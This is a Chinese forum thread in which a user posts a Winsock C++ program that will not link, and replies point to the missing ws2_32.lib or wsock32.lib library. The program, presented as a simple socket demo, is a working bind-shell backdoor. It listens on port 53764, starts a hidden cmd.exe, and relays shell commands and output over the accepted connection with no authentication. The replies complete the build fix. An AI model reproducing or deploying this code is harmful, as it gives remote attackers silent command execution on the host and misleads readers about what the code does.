我写了一小段基于SOCKET---API的程序,功能很简单,代码也很少,我用VC++6.0的cl编译器在cmd下编译通过,但link时报连接错,请各位帮忙看看!!!我已经调试很久了但问题仍然存在,我的源程序如下:#include "winsock2.h"
#include "stdio.h"
int main()
{  
  WSADATA wsa;
  SOCKET listenFD;
  char Buff[1024];
  int ret;  WSAStartup(MAKEWORD(2,2),&wsa);  listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  struct sockaddr_in server;  server.sin_family = AF_INET;
  server.sin_port = htons(53764);
  server.sin_addr.s_addr=ADDR_ANY;
  ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
  ret=listen(listenFD,2);
  int iAddrSize = sizeof(server);  SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);  SECURITY_ATTRIBUTES sa;
  sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
  ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);  STARTUPINFO si;
  ZeroMemory(&si,sizeof(si));
  si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  si.wShowWindow = SW_HIDE;
  si.hStdInput = hReadPipe2;
  si.hStdOutput = si.hStdError = hWritePipe1;
  char cmdLine[] = "cmd.exe";
  PROCESS_INFORMATION ProcessInformation;  ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);  unsigned long lBytesRead;
  while(1) 
  {
    ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
    if(lBytesRead) 
     {
      ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
      if(!ret) break;
      ret=send(clientFD,Buff,lBytesRead,0);
      if(ret<=0) break;
      }
    else 
      {
       lBytesRead=recv(clientFD,Buff,1024,0);
       if(lBytesRead<=0) break;
       ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
       if(!ret) break;
      }
  }
  WSACleanup();
  return 0;
}然后我编译它,如下:
c:\Tass>cl socket.cpp 
编译器报以下错误:
/out:socket.exe
socket.obj
socket.obj : error LNK2001: unresolved external symbol __imp__WSACleanup@0
socket.obj : error LNK2001: unresolved external symbol __imp__recv@16
socket.obj : error LNK2001: unresolved external symbol __imp__send@16
socket.obj : error LNK2001: unresolved external symbol __imp__accept@12
socket.obj : error LNK2001: unresolved external symbol __imp__listen@8
socket.obj : error LNK2001: unresolved external symbol __imp__bind@12
socket.obj : error LNK2001: unresolved external symbol __imp__htons@4
socket.obj : error LNK2001: unresolved external symbol __imp__socket@12
socket.obj : error LNK2001: unresolved external symbol __imp__WSAStartup@8
socket.exe : fatal error LNK1120: 9 unresolved externals我不知是何原因,各位请多多帮忙,一定满分奉送!!!!!
    谢谢!!!!

解决方案 »

  1.   

    各位不妨将源程序copy到你的机器上试一下看看能不能LINK通过,源程序已无编译问题,保证COPY下来就能用!!!!
      

  2.   

    使用Ws2_32.lib
    alt_f7----->settings--->link--->object/library modules中加入Ws2_32.lib
      

  3.   

    把wsock32.lib加到需要链接的链接库中去。
    0>project->link->Object/libray modouls
      

  4.   

    原来有人回了啊。呵呵,
    ws2_32.lib和wsock32.lib都可以的,不过如果用了winsock2.2的函数,还是要用ws2_32.lib。